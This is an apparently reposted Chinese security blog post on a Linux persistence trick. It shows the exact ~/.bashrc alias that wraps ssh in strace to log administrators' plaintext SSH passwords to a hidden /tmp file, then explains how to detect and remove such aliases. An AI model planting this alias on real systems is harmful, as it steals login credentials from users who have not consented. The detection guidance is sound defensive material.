Tips +1
实现原理
利用strace系统调试工具获取ssh的读写连接的数据,以达到抓取管理员登陆其他机器的明文密码的作用。
操作步骤
在当前用户的.bashrc里新建一条alias、这样就可以抓取他登陆其他机器的ssh密码。
//在当前用户的shell环境中定义一个别名
vim ~/.bashrc
//在最后一行插入
alias ssh='strace -o /tmp/.sshpwd-`date '+%d%h%m%s'`.log -e read.write.connect -s 2048 ssh'
//刷新当前的shell环境
source ~/.bashrc
命令解释:为 ssh 命令创建了一个别名(alias),将其替换为一个带有 strace 的命令。这个别名的作用是在执行 ssh 命令时,使用 strace 工具监视相关系统调用,并将输出保存到一个以时间戳命名的文件中。
-
alias ssh=: 创建名为 ssh 的别名。
-
strace -o /tmp/sshpwd-date '+%d%h%m%s'.log: 使用 strace 工具,将输出重定向到以日期和时间戳命名的文件 /tmp/sshpwd-<date><time>.log 中。date '+%d%h%m%s' 会生成日期和时间的字符串,例如 23Nov0321661621。
-
-e read,write,connect: 仅监视 read、write 和 connect 系统调用。
-
-s2048: 指定 strace 输出的字符串长度上限为 2048 字节。
-
ssh': 最后执行的命令是 ssh。
登录之后可以看到tmp 目录下记录的账户密码
如何排查
-
查看当前别名: 使用 alias 命令查看当前已定义的别名列表。在终端中执行:
alias
这将列出当前会话中的所有别名。
-
查看特定别名: 如果你怀疑有特定的别名导致了问题,可以直接查看该别名的定义。例如,要查看 ssh 别名的定义:
alias ssh
这将显示 ssh 别名的定义。
-
查找别名定义文件: 别名通常在 shell 的启动文件(例如 ~/.bashrc、~/.bash_profile)中定义。你可以查看这些文件,找到别名的定义。使用文本编辑器打开文件:
cat ~/.bashrc
如果别名是在其他 shell 启动文件中定义的,也需要检查相应的文件。
-
检查系统别名配置: 有时别名也可能在系统范围内进行配置。查看系统的 shell 配置文件,例如 /etc/bash.bashrc、/etc/profile 等。
-
在当前会话中取消别名: 如果你只想在当前会话中取消别名,可以使用 unalias 命令。例如,取消名为 ssh 的别名:
unalias ssh
这样在当前会话中就不再使用 ssh 别名。
-
永久取消别名: 如果你确定不再需要某个别名,可以在 shell 启动文件中删除相应的定义,然后重新加载 shell 或重新启动终端。例如:
# 编辑 ~/.bashrc 文件,删除相应的别名定义
nano ~/.bashrc
# 保存文件后,重新加载 shell 或重新启动终端
source ~/.bashrc
或者,直接在当前会话中取消并删除别名:
unalias ssh
这样在当前会话中取消别名,并在下次启动 shell 时不再生效。
End
“点赞、在看与分享都是莫大的支持”
原文始发于微信公众号(贝雷帽SEC):Linux持久化—SSH Keylogger
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论